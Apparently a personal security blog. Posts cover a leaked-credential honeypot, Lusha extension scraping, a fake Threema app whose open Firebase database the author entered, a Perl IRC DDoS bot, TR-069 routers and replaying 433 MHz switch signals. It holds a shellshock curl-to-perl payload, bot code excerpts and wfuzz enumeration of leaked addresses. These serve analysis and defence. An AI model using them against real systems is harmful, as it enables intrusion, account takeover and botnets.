Tuesday, April 6, 2021

Pwned in 604'800 seconds

Have you ever wondered if your internet accounts were hacked? One way to find out is checking your e-mail address on Troy Hunt's "Have I Been Pwned" website. Troy has been collecting leaked passwords from dozens of breached sites from over a decade. Was your e-mail address involved in a breach and was your password exposed? Then that password is burnt. You need to change it immediately and never use it again. Is this being paranoid? Let's figure out how long it would take for someone to actually hack it.

The idea is to setup a honey account on a popular platform, signing up with known leaked e-mail and password combination. First, we'll need access to one of leaked password dumps, which is not very hard to come by...

Exploit.in In late 2016, a huge list of email address and password pairs appeared in a "combo list" referred to as "Exploit.In". The list contained 593 million unique email addresses, many with multiple different passwords hacked from various online systems. The list was broadly circulated and used for "credential stuffing", that is attackers employ it in an attempt to identify other online systems where the account owner had reused their password.

Next we'll need to select one or several abandoned e-mail addresses. For this I decided to focus on the gmx.net FreeMail service, since it is rather convenient to check the availability of addresses.

Then let's retrieve all @gmx.ch addresses from the password dump:

grep -rhi '@gmx.ch:' Exploit.in | awk -F: '{print $1}' > gmx.txt

There are roughly 140k candidates. I used wfuzz to automate the availability check:

wfuzz -w gmx.txt -H "Authorization: Bearer qXeyJ..." -H "Content-Type: application/json" -H "X-CCGUID: e58d..." -H "User-Agent: hello" -u https://onereg-email-suggest.gmx.net/email-alias/availability -d '{"emailAddress": "FUZZ", "countryCode": "CH", "requestedEmailAddressProduct":"gmxnetFree"}' -s 2 -f results.txt --ss true

This endpoint's availability is rate limited, therefore it is necessary to throttle the requests (using -s 2). Nonetheless, this quickly provided a set of candidates.

Now let's register some accounts. I decided to opt for popular platforms, like Instragram, Ebay, etc. using the breached credentials. Now that the honeypots are setup, let's wait...

Within a week (at least) someone identified the breached credentials on Instagram, logged into the honey account and started doing weird stuff, e.g. changing the profile, adding lots of followers, essentially turning the account into a bot.


Here are some takeaways

  1. Use unique passwords for each and every account.
  2. You can't memorize so many passwords? Use a password manager.
  3. If possible, setup Multiple Factor Authentication (MFA).
  4. Subscribe to HIBP's breach notifications.


Thursday, February 6, 2020

Down the Rabbit Hole of Harvested Personal Data

In this blog post I will shine a light at dubious business practices around trading of personal data. I  describe by which technical means personal data is harvested at first, and how it is sold via intermediaries later on. Based on a recent experience of leaked personal data, I will track down my own mobile phone number

The story began when I received a contact request from a recruiter via Whatsapp messenger. I was all but happy about this aggressive tactic, to say the least. Therefore I decided to contact that Swiss based recruiting company (digitalent.ch) and asked them to inform me about their data source. Their CEO replied within hours and let me know that my number was acquired «from a publicly available directory called lusha.co».

lusha.co – the data scrapers

lusha.co is based in Tel-Aviv and was founded in 2016. Quoting their website, they «collect information concerning business profiles, including […] name, company name, job title, email address, phone numbers, business address, and social media links», which of course are sold for access. Unfortunately, only vague information is provided on their data sources: «Lusha collects information from publicly available sources and from its business partners which take part in building and improving the Lusha community.» We will soon see that the term publicly available sources is open to interpretation and that the contribution of their business partners is key for their success. As a company aggressively aspiring to grow (I counted 7 sales/marketing employees versus 4 engineers), they are constrained by data protection laws such as GDPR and CCPA for the respective European and American markets. They offer a contact for European citizens to exercise their differents rights under the GDPR. I am not a lawyer, but the phrasing sometimes does sound as if they weigh their interests pretty much over the regulations, e.g. «[…] please note that these rights are not absolute, and may be subject to our own legitimate interests and regulatory requirements» and «Lusha’s lawful basis for processing is its legitimate interest in providing its services to its users» ¯\_(ツ)_/¯

Anyhow, let's get to the inner workings of lusha.co. A free subscription is available with an offer of 5 credits per month, each credit allowing to retrieve data of one requested person. As a user, you are supposed to use a browser extension to integrate with LinkedIn when accessing user profiles on the platform. The extension is available for Chrome, Edge and Firefox; note that the extension is not recommended by Firefox.


For the dynamic analysis, I installed the Firefox extension directly from the Add-ons website. For a static analysis, there are two options: download the .xpi file (right click on the blue "+ Add to Firefox" button and select "Save as...") or retrieve it from the user profiles folder (on a mac: /Users/<username>/Library/ApplicationSupport/Firefox/Profiles/<profile>/extensions/<filename>.xpi).

File name: lusha_easily_find_b2b_contact_details-9.5.1-an+fx.xpi
SHA-256: 11e48be153a28adda35514e959844098f41d5606628c454efbcb7a5c683acab5

The .xpi file is just a ZIP archive containing the different HTML and Javascript artefacts used by the extension. The file manifest.json contains the permissions and URLs for content scripts. This is the code that will be injected in the pages when visiting the corresponding URLs, in this case LinkedIn and Salesforce.

{
  "manifest_version": 2,
  "short_name": "Lusha",
  "author": "Lusha",
  "description": "Lusha is the easiest way to find B2B contact information with just one click.",
  "version": "9.5.1",
  "name": "Lusha - Easily find B2B contact information",
  "content_scripts": [
    {
      "matches": [
        "https://dashboard.lusha.co/*",
        "https://*.linkedin.com/*",
        "https://*.salesforce.com/*"
      ],
      "exclude_matches": [
        "https://www.lusha.co/*",
        "https://www.salesforce.com/*",
        "https://*.lightning.force.com/*"
      ],
      "js": [
        "content.js",
        "assets.js"
      ],
      "run_at": "document_idle"
    }
  ],
  "permissions": [
    "tabs",
    "https://*.lusha.co/*",
    "storage"
  ],
  "optional_permissions": [
    "https://*.lightning.force.com/*"
  ]
...
  }
}

Being logged on to LinkedIn I visited my own profile to see if and what data lusha.co would provide:


A HTTP network trace using Burpsuite shows interesting behaviour as the entire HTML body is sent to lusha.co's backend servers, as LZ-compressed, base64-encoded payload in the "html" value with a total of 18 kB (HTTP headers and payload truncated for better readability):


POST /v2/search HTTP/1.1
Host: plugin-services.lusha.co


{"html":"PGRpdiBjbGFzcz0iZ2xvYmFsLWFsZXJ0IMwNLS15aWVsZM8UaXNFeHBhbmRlZCIgZGF0YS1
pZD0iY29va2llLXBvbGljeSI+PGxpLWljb27UY19fxRrSE8hvb25sb2FkIGxhenktxAplZCI+PC/HUj4
8cNZVbWVzc2FnZS1jb250ZW50Ij5UaGlzIHdlYnNpdGUgdXNlcyDmAKVzIHRvIGltcHJvdmUgc2Vydml
jZSBhbmQgxBJpZGUgdGFpbG9yZWQgYWRzLiBCeSB1c2luZyB0xFDETSwgeW91IGFncmVlxEvFGHVzZS4
gU2VlIG91ciA8YSBocmVmPSJodHRwczovL3d3dy5saW5rZWRpbi5jb20vbGVnYWwv7QE1P3Ryaz1wdWJ
saWNfcHJvZmlsZV/GIV/GIV9jbGlja+cBdHRyYWNraW5n5QDvcm9sLW5hbWU9It9A00B3aWzEPXZpZ2F
0ZT0iIj5DxTQgUMU0PC9hPi48L3A+PGJ1dHRvbiB0eXBlPSLGDSL2AYnIHf8AqOwAqGRpc21pc3MiIGF
yaWEtbGFiZWw9IkTHFf8CTcQaLS3HQvQCPMZVaGlkZGVuPSJ0cnVl7QJPL+YAsD48L2Rpdj48aGVhZGV
yyGvGDiI+PG5h6QMvbmF2Ij7pAeMv9AG4bmF2LcY7LWxvZ2/pASluYXZfX8QSLeQCDv8BI99T/wHHPHN
wYekBMsp4dGV4dCI+TOUCjEluPC/EJvEBYckv/wFI7gFIYT48c2VjdGnKSHNlYXJjaC1iYXLnAK9jdXJ
yZW50LccZ5gJNUEVPUExFIukCY9E9X19wbGFjZWhvbOQBmnNob3ctb24tbW9iaWxlIGhpZGXED2Rlc2t
0b3D/AVTuAVTHY3N3aXRjaGVyLW9wZW5lcu4ChuYE7CDGKyI+7AU47ACiZnVsbC3rAKciPkFudG9pbmU
gTmV1ZW5zY2h35AUzcucCZukCdcxP6ACHdGFic19fdHJpZ2dlci1hbmTFEvIBIc4wy33pARXmAST/ART
vARTMVu4A0u0CU9p+5wJkUGVvcGxl9wJizz5jYXJldC1kb3duLWZpbGxl/wYE/wFAxFTwAhjwARM+PGg
...
A6BCWzxbpCs9NRkFIU2xTVllETmZ0akRFanlNZmFLVnV6YmpZQ3hITOgA5M9XzQ1B5AcPb3Bl5gsq7wC
95Q2e7gNm6Qe1xQY=","url":"https://ch.linkedin.com/in/antoineneuenschwander","req
uest_id":"74924a15-ef0c-4bed-97a9-498831865d47","firstSearch":true}


By decompressing the payload, we see that the contents include data really only visible by logged on users:


$ node
Welcome to Node.js v13.7.0.
Type ".help" for more information.
> var LZUTF8 = require('lzutf8');
undefined
> var compressed = fs.readFileSync('html_payload_compressed.bin', 'utf8')
undefined
> LZUTF8.decompress(compressed, {inputEncoding: "Base64"});
...
' <div class="artdeco-hoverable-content__content artdeco-hovercard-content-container">\n' +
' <p>See and edit how you look to people who are not signed in, and find you through search engines (ex: Google, Bing).</p>\n' +
'\n' +
...


In a second request, we do get access to the "enriched" data corresponding to the displayed LinkedIn profile:


POST /v2/show HTTP/1.1
Host: plugin-services.lusha.co

{"request_id":"74924a15-ef0c-4bed-97a9-498831865d47"}


HTTP/1.1 201 Created
Date: Tue, 04 Feb 2020 20:59:39 GMT
Content-Type: application/json; charset=utf-8
Connection: close

{"request":{"phones":["+41 7X XXX XX XX","+41 5X XXX XX
XX"],"emails":[],"name":"Antoine
Neuenschwander","link":"https://ch.linkedin.com/in/antoineneuenschwander","platf
orm":"linkedin","contact":{"id":"42127f80-4791-11ea-a6c7-4fac905d8f3e","firstNam
e":"Antoine","lastName":"Neuenschwander","showDate":"2020-02-04T20:59:39.256Z","
lists":"all contacts"},"company":{"address":"Worblaufen, Bern,
Switzerland","categories":["Information
Technology","Telecommunications"],"description":"Swisscom, Switzerland’s
leading telecoms company and one of its leading IT companies, is headquartered
in
Ittigen.","domain":"swisscom.ch","employees":"+10,000","founded":"1998","logo":"
https://logo.lusha.co/a/4f4/4f479b5d-343e-49c2-822c-edd920333dd0.jpg","name":"Sw
isscom","social":{"facebook":{"url":"https://www.facebook.com/Swisscom"},"linked
in":{"url":"https://www.linkedin.com/company-beta/2715"},"twitter":{"url":"https
://twitter.com/swisscom_de"}},"website":"swisscom.ch"}},"user":{"email":"XXXXX",
"isOnBoarding":true},"trialExpired":false}


The lusha.co browser extension states the following regarding the type of data submitted to their backend and required to identify a user profile:


From my observations, not only «certain words (such as full name and company name)», rather entire user profile data is sent to lusha.co's servers. Also the data is not only sent when needed, i.e. when a user requests enriched data of a single, chosen LinkedIn profile, but for each and every visited profile. So this extension implements essentially a crawler that scrapes every single LinkedIn profile in private-view as the users' are browsing LinkedIn, which is actually a clear violation of LinkedIn's terms. So they are basically selling the data to the customers that are harvesting the data in the first place, brilliant!


Meanwhile, I contacted lusha.co for a GDPR request, to which they replied:
In order to process your request we need to identify your profile,
for that purpose the following information is needed:
First Name:
Last Name:
Company Name:
Nationality:
Public LinkedIn profile link:
Needless to say that this procedure is insufficient to properly identify a legitimate requestor. I am tempted to try and impersonate another person, but I will abstain from doing so. As a result of my request, lusha.co provided me with both my phone numbers, as already provided by my own lookup. They also mentioned the data origin: «The information above originates from a database maintained by Simpler Apps Inc ("Simpler").»

Interesting! From its description, Simpler is an app that replaces the standard dialing and contacts functions on Android smartphones. And unsurprisingly, the app requires access to the users' contacts as well as full network access. Now, what could've happened? I assume that my mobile phone numbers were harvested from an installation of this app from someone that must had me in his contacts. Perhaps I will try to investigate the Simpler app in a subsequent blog post...


edit - 20.02.2020: Nightwatch Cybersecurity wrote a follow-up blog post on the matter analysing the role of the Simpler app.


Thursday, January 23, 2020

Analysis of a Fake Threema App

A couple of days ago there were reports of an app on the Google Playstore, which seemed to impersonate the Threema messenger app. Threema is a Swiss secure messaging service that uses end-to-end encryption to provide privacy to their users.



In the past, several fake apps were already observed targeting Swiss brands, like e.g. Bluewin. In that case, the app's purpose was to steal user credentials (login/password) from users that inadvertently downloaded it from the wrong developer. A more detailed description on the modus operandi can be found in a blog post by SWITCH-CERT.




Unfortunately, I failed to take a screenshot of the app while it was still available on the Playstore and before it was taken down by Google. But I remember that the counter had already reached 100+ downloads. Currently the app can still be downloaded from alternative sites like e.g. apkpure.com, which mirror all available apps from the Google Playstore. Each app in the Google Playstore is identified by a string in the form of a reverse domain name, in this case: com.wa.threema.



From the app description, we can see that the app was first published on January 9th 2020, meaning the app was available for more than ten days before it was reported to the Google abuse team and eventually removed.



So I went ahead and downloaded the APK file for analysis. First, I launched the emulator provided with the Android Studio development environment, dragged the APK into the virtual device and launched it. Meanwhile, I also started Burp Suite and changed the proxy settings of the emulator in order to intercept the network traffic. Unfortunately, this didn't work as expected because most network communication was destined to Google domains, which are protected by certificate pinning in the app. Therefore, I didn't follow up on the dynamic analysis, although it did allow me to take a couple of screenshots and to better understand the application logic:




I then used the JADX decompiler to open the APK file and recover its source code and other resources. First step is to analyse the AndroidManifest.xml, which contains a listing of relevant activities, especially the one that's called after the app startup: ar.codeslu.plax.MainActivity.




Looking at the code, we can see that the app makes use of Google's Firebase services, especially its noSQL database component, and we can already see what kind of entities are persisted on the backend: Global.USERS, Global.CHATS, Global.GROUPS and Global.CALLS. Also, an encryption object is created, it is initialized with Global.keyE and Global.salt, which are actually hardcoded values found in the ar.codeslu.plax.global.Global class (funny but irrelevant for the rest of the analysis):


A glimpse at the string resources gives us information about the URLs used to connect to the Firebase database backend:


Thanks to Elliot Alderson's blog post on hacking the Donald Daters App, I learned how to access the insecure Firebase backend associated to the app, which of course contained all user, chat, group and call records, as defined in the MainActivity class. At the time of writing, the database contained 286 registered users, 15 chats and 8 calls.



Looking at the code, we can see that the app actually implements all functionality of a working messaging service, including audio and video calls. That's quite a lot of effort, assuming the app's intention is only phishing. Indeed, my assumption was that the app was attacking Threema's registration process, but I couldn't find evidence to back this claim. So what is this app intended for?

Based on the package name ar.codeslu.plax I figured that a similar app was being sold on a marketplace. And by that I mean you can actually buy the source code of the app for as less as 35 USD and customize it to offer your own chatting app on the Google Playstore:



It occurs you can even find free downloads of the code by googling somewhat:


There's also a more expensive license, that allows the buyer to charge its users and I assume that's the actual business model of the fake app:


By looking for other apps by the same developer (junemoney, saadmslout@gmail.com) we see almost a dozen other chatting apps that have all been released approx. the same time and that also impersonate other popular messaging services like Discord, TextNow or Zalo, for which he has even written a corresponding privacy policy (I guess that's mandatory if you want to publish apps on the Playstore).



So in conclusion, from my point of view, the fake app's intention is not to steal user credentials, rather trick people into downloading the wrong app and have them pay subscriptions for usage of the app. (Other ideas? leave me a comment)

Anyhow, such apps often slip through Google Playstore's "quality assurance" during publication and are then made available to everyone for download :-/ But since such apps clearly violate Google's Developer Policies, anyone can report them as being abusive. Either because they are malicious, as in the case of the phishing app, or either because they infringe the intellectual property rights of others. In which case being logged into your Google account, you can go to the app's Playstore page, scroll down and report the app based on one of the two described violations.



Indicators of Compromise:
Filename: Threema Private Messenger_v1.4.2_apkpure.com.apk
SHA-256: a5422bc7f09c22a877f580119027ed83c6ba7ac12ae6647808b2ffddfcab7124

Wednesday, September 21, 2016

36 15 Framboise



As a boy while visiting family in France, one of the things I was very excited about was the Minitel that everybody had at home. It was a very popular videotex network in the 80s and 90s providing a multitude of services unbelievably similar to today's online experience. This compilation of ads and news reports give a good feel of what the Minitel had to offer. Today, it is often considered as a precursor of the world wide web.

So, to satisfy my nostalgic feelings, I bought a Minitel on Ebay. Although the service was retired in 2012, there are still plenty of devices on sale with prices ranging from 20€ for the most common models (e.g. Minitel 1B TELIC) to several hundreds € for the earlier/rarer models. The device suffered some cracks in the shell from shipping, but fortunately it still works!

Although the service is discontinued, and even if not living in France, a Minitel can still be operated in useful ways. The Minitel is a so-called dumb-terminal. It is used to access services running on distant systems which are accessed via the telephone network. So the Minitel has an integrated modem. But it can also interface with local devices, via a serial port available on the back. There are plenty of blog posts explaining how to do this, just google for "minitel linux terminal". Since I'm also fond of Raspberry Pi, this is the mandatory I-hooked-a-Minitel-to-my-Raspberry-Pi blog post!



I won't delve into too many technical details about the serial port adaptation, since there are enough resources about it online, but let me just describe the challenges I faced. First of all, the Minitel expects a male 5 pin DIN connector, not the usual DE-9 to interface with the serial port. They call it "Prise Péri-Informatique". I used a conventional MIDI patch cable, cut it in half and resoldered the pins to match the Minitel TX and RX leads.



Also, since I didn't want to get my hands too dirty - although I should practice some more soldering - I used the bi-directional level converter from sparkfun to adapt the 3.3V TTL signal level from the Raspberry Pi to the 5-15V levels of the Minitel (and vice-versa). There are many blog posts explaining how to implement this using a simple circuit with a couple of resistors and transistors.



I took some time to analyze the signal with an oscilloscope and interpret the serial protocol. When no characters are transmitted, the idle level is high. The asynchronous transmission starts with the start bit (low), continues with the 7 bit ASCII character value (most significant bit first), an even parity bit and finally ends with a stop bit (high). From the measurement we can see that a symbol is transmitted in 208 microseconds. This value inverted corresponds to the baud rate of 4800 bps. In this case, the transmitted character was a lowercase 'e' (0b01100101 or 0x65).



Finally, the last challenge I encountered was the fact that Raspbian, the standard debian-based Linux distro for Raspberry Pi switched to systemd. Most blog posts still refer to /etc/inittab to install the serial getty. Under systemd, it's a bit tricky. Here's my configuration under /etc/systemd/system/serial-getty@ttyAMA0.service:

# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.

[Unit]
Description=Serial Getty on %I
Documentation=man:agetty(8) man:systemd-getty-generator(8)
Documentation=http://0pointer.de/blog/projects/serial-console.html
BindsTo=dev-%i.device
After=dev-%i.device systemd-user-sessions.service plymouth-quit-wait.service
After=rc-local.service

# If additional gettys are spawned during boot then we should make
# sure that this is synchronized before getty.target, even though
# getty.target didn't actually pull it in.
Before=getty.target
IgnoreOnIsolate=yes

[Service]
ExecStart=-/sbin/agetty -c ttyAMA0 4800 m1b-x80
Type=idle
Restart=always
UtmpIdentifier=%I
TTYPath=/dev/%I
TTYReset=yes
TTYVHangup=yes
KillMode=process
IgnoreSIGPIPE=no
SendSIGHUP=yes

[Install]
WantedBy=getty.target


I also used the Minitel 1B terminfo file of Alexandre Montaron and installed it as follows:

$ tic mntl.ti -dir /etc/terminfo


Here a screenshot of the working system with the output of the top command:


10 years ago, I got a hand on the "Spécification Techniques d'Utilisation du Minitel 1B" (STUM), a 200 page specification of the Minitel and it's building components (modem, keyboard, screen, serial port) as well as the different modes of operation ("Standard Télétel" or "Standard Téléinformatique ASCII"). It has shown very helpful to understand the inner workings of the device.



Finally, here are some links you might want to check out if you want to find out more about Minitel:

Wednesday, November 5, 2014

Anatomy of a Perl IRC Bot Script

Did you check your webserver log files lately? And did you notice any requests with odd referers or user-agent strings with { :; }; in it? That's someone trying to exploit shellshock, a vulnerability in the Unix Bash shell disclosed in September 2014 which got a great deal of attention from the security community. I got excited to see that I too had been scanned, here's an example Apache log line:

212.68.61.199 - - [19/Oct/2014:18:25:08 +0000] "GET / HTTP/1.0" 200 353 
"() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl" 
"() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl"

The attacker is hoping that either the referrer or the user-agent string will be processed via a Bash variable (e.g. when using CGI), in which case a vulnerable Bash version would execute the commands following { :; }. From the given commands, a malicious script is to be downloaded from an anonymous location and executed with the Perl interpreter. The site hosting the script was probably compromised. Given the path 'bbs/skin/zero_vote/', it seems to be a website running an older version of the ZeroBoard CMS, which is known to have a number of security issues.

So let's have a look at that Perl script. You can find an integral copy here. First, a nicely formatted header gives us some information about the tool (DDoS Perl IrcBot v1.0/Stealth MultiFunctional IrcBot), its authors (DDoS Security Team) as well as the supported commands used to remote control the victim. Next, a set of variables is defined to customise the script. Here are the most interesting ones:

my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  "/usr/sbin/httpd -k start -DSSL",
  "/usr/sbin/httpd",
  "/usr/sbin/sshd -i",
  "/usr/sbin/sshd",
  "/usr/sbin/sshd -D",
  "/usr/sbin/apache2 -k start",
  "/sbin/syslogd",
  "/sbin/klogd -c 1 -x -x",
  "/usr/sbin/acpid",
  "/usr/sbin/cron");
my $process = $rps[rand scalar @rps];
The variable $process stores the process name the script will use when running. The name is picked at random from a list of processes commonly used on Unix platforms. We'll see later how the process name is installed.

my @rversion = ("\001VERSION - unknown command.\001",
    "\001mIRC v5.91 K.Mardam-Bey\001",
    "\001mIRC v6.2 Khaled Mardam-Bey\001",
    "\001mIRC v6.03 Khaled Mardam-Bey\001",
    "\001mIRC v6.14 Khaled Mardam-Bey\001",
    "\001mIRC v6.15 Khaled Mardam-Bey\001",
    "\001mIRC v6.16 Khaled Mardam-Bey\001",
    "\001mIRC v6.17 Khaled Mardam-Bey\001",
    "\001mIRC v6.21 Khaled Mardam-Bey\001",
    "\001mIRC v6.31 Khaled Mardam-Bey\001",
    "\001mIRC v7.15 Khaled Mardam-Bey\001");
my $vers = $rversion[rand scalar @rversion];
The variable $vers is used to disguise the IRC bot as a version of mIRC, a popular IRC client on Windows.

my @rircname = ("abbore","ably","abyss",...,"zwsiewale");
my $ircname = $rircname[rand scalar @rircname];
The $ircname is picked at random from a large list of nicknames.

$server = 'fflyy.su' unless $server;
my $port = '8080';
These are the IRC server and port the bot is meant to connect to. Note: .su is the top level domain for Soviet Union and googling "fflyy.su" returns some interesting links, see for yourself.

my @admins = ("M","st0n3d","x00");
my @hostauth = ("lolhome");
my @channels = ("#mperl");
This specifies that the bot should connect to IRC channel #mperl and accept commands only from users behind the nicknames M, st0n3d and x00. Additionally, their hostname is also verified (lolhome), although this is also spoofable.

At first, the bot will install handlers for POSIX signals to suppress termination for example with ctrl-c:
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

This code is used to change the process name the script will run with:
$server="$ARGV[0]" if $ARGV[0];
$0="$process"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Can't fork in background: $!" unless defined($pid);
It rewrites the argument vector of the current process with the new process name and forks such that the child process is run under that name.

This is the main loop of the script, that connects to the given IRC server and reads the server's output:
my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {
      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line"); 
        } else {
      $line_temp = $line;
        }
      }
    }
  }
}
Interestingly enough, the script uses several portuguese identifiers for variables and function names. IRC is a simple text-based, line-orientated protocol, which makes it a good choice for command&control communication with the bots. In the script, the IRC commands are parsed mainly using regular expressions:
sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {

    }
 if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
    if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
    if ($onde eq "$meunick"){
    shell("$pn", "$args");
  }
  if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1");
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $meunick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
}

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  if (lc($1) eq lc($meunick)) {
  $meunick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  }
  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  nick("$meunick-".int rand(9999));
  } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  $meunick = $2;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  foreach my $canal (@channels) {
 sendraw("MODE $nick +x");
    sendraw("JOIN $canal");
 sendraw("PRIVMSG $canal :  4,1 [M is the ShIT]   9,1Watcha guys want to do ...   ");
}
}
}

The rest of the script consists of the implementation of all bot commands, which feature port scanning, tcp/udp/http flooding, mailing, remote shell among others... An effective little hacker's toolkit. For me, it was a very informative analysis that taught me some advanced Perl-foo. I hope you also enjoyed.

Thursday, June 5, 2014

How to Prevent your ISP from Controlling your SOHO Router (TR-069)

I freaked out a bit a lot when learning about TR-069 from Shahar Tal's great talk at this year's area41 security conference. Basically, if your router features this interface, your ISP can do all sorts of things like read and alter the configuration but also upgrade the firmware without your knowing.
Being a Swisscom client, I use a Centro Piccolo aka Motorola Netopia 7640 VDSL Modem. I knew that there had to be some kind of remote management, e.g. since resetting the router password is done via the the Swisscom customer website instead of directly on the router's administration interface. Then, there is no obvious configuration option refering to TR-069 nor CWMP in the admin interface. But: you can access extended settings by telneting the router. Here's the menu options you have to select to disable CWMP:

$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to dsldevice.home.
Escape character is '^]'.

login: admin
Password: **********

Terminal shell v1.0
Copyright (C) 2011 Motorola, Inc.  All rights reserved.
Motorola Netopia Model 7640-47 Annex A VDSL2 IAD
Running Netopia SOC OS version 9.0.10 (build h2d8)
ADSL/VDSL capable
(admin completed login: Admin account with read/write access.)

Centro_piccolo> configure

Config Mode v1.3
Centro_piccolo (top)>> management cwmp
Centro_piccolo (management cwmp)>> view
    cwmp
      enable on
      acs-url "https://rms.bluewin.ch:8443/cwmpWeb/CPEMgt"
      acs-username "********************************"
      acs-password "********************************"
Centro_piccolo (management cwmp)>> enable
Centro_piccolo (management cwmp enable)>> set
      enable (on) [ off | on ]: off

Here you can also see the URL of the ACS (the ISP's configuration server). Save before quitting, you should be then safe from any snooping from your ISP. Oh, and while you're at it, try the undocumented magic command in the telnet prompt ;-)

Saturday, February 1, 2014

Experimenting with Software Defined Radio

In this blog post, I will describe my first project experimenting with a software defined radio (SDR). For those of you new to this technology, think of it as an RF frontend to your computer, which performs most signal processing from digitized radio waves in software. Hence, virtually any radio communication system can be implemented given capable software. There is already a plethora of projects for a variety of RF applications related to industry or consumer standards. The CGRAN maintains a list of projects, have a look at it to get an idea of what's all possible.

The test hardware

So, to become acquainted with the SDR, I chose to analyze this simple RF controlled power switch system I found at my local supermarket. The package contains three radio controlled connectors with a pass through socket for the electrical appliance. The remote control individually switches the connectors on and off by pressing on the corresponding buttons. When switching a controller on and off, the clicking sound of a relay is clearly audible.
Power Switch System 1204380 3M from Steffen AG

Anatomy of the controller

The remote and the connectors are both configured via dip switches inside the enclosure. The address scheme comprises a 5 bit system code (positions 1 to 5 in the pictures below), commonly used by all devices. Also, a unit code (positions A-E) is assigned to each of the connectors to individually address them. Interestingly enough, position E is not provided on the remote, instead, there is a master on/off switch that addresses all units at once.
Dip switches for the selection of the system code (common to all devices)
and the unit code (individual to each connector)
On the back of the remote control, the model number and most interestingly, the operating frequency 433.92MHz are engraved on the enclosure. Within the enclosure, a PCB with a single IC labeled AZ08C20, P50 0322D. Unfortunately, I couldn't find any specification for this chip that would ease the task of analyzing the control signal. There are specifications publicly available for similar ICs that helped me grasp the encoding principle: for example Princeton Technologies PT2262 and PT2272, and Holtek HT12A and HT12E.
 
The remote control's IC:
AZ08C20 P50 0322D

Visualizing the signal

For this, I designed a GNURadio flowgraph. The source block provides the data from the SDR. Use either a UHD source for USRP devices from Ettus Research or else a OsmoSDR source for USB DVB-T dongles, BladeRF or HackRF. The data provided by the source is a stream of complex I/Q values, represented by pairs of 32bit floats. If you're not familiar with I/Q data, here are two excellent write-ups to learn about this data format and why it's used for SDRs. After reading this, you'll understand how the Complex to Mag^2 block is used to convert the complex I/Q samples into a real, scalar magnitude sample. The Threshold block is used to distinguish between HIGH and LOW states of the signal. Both real and discrete signals are input to the Scope Sink for the visusalization. The Wav File Sink is used to create a .wav file which can then be analyzed using common audio processing software such as Audacity.
GNURadio flowgraph used to visualize the signal

In the scope visusalization, we can see that the amplitude of the carrier frequency is modulated to form pulses of varying widths. This modulation scheme is called (binary) amplitude shift keying (ASK) or also sometimes On-Off-Keying (OOK). The encoding is a discretization of pulse width modulation (PWM), where pulses of different widths represent different information symbols. I determined the duration of the short (unit) pulse to be 533µs by measuring the number of samples across its width. The long pulse is twice as long: 2*533µs = 1.066ms. The blank between each pulse is of same duration as the unit. Effectively, each pulse starts after a period of 3*533µs = 1.6ms. Messages are continually sent in bursts of 25 pulse periods with a pause of 3.2ms inbetween, for a total of 128ms per message.

Replaying the signal (security implications)

Having recorded the signal as .wav file or as raw data, the flowgraph can be reversed to replay the messages. Choose the Wav File Source and connect it to your SDR sink (either UHD Sink or OsmoSDR Sink). This already suffices to trigger the switch. This indicates that there is no security whatsoever to protect the connectors from receiving messages not originating from the remote control. Also note that the number of possible different addresses (given by the combination of dip switch positions) is very low, 2^5 = 32, hence an attacker can very rapidly guess it by running through all possibilities.

Reverse-engineering

Assigning a short pulse to 0 and a long pulse to 1, I wrote down the different code patterns while pressing each button and systematically changing the dip switch positions. I could not identify every bit's meaning in these patterns, but I retrieved enough information to synthesize message which would actually trigger the switch. Here are some examples having all dip switches for the system code on HIGH:

                         DIPSW ????? ?????? B ?? EDCBA  ?
A         OFF            11111 00011 100101 0 00 00001 0
B         ON             11111 00011 100111 1 00 00010 0
B         OFF            11111 00011 101000 0 00 00010 0
C         ON             11111 00011 101001 1 00 00100 0
C         OFF            11111 00011 101010 0 00 00100 0
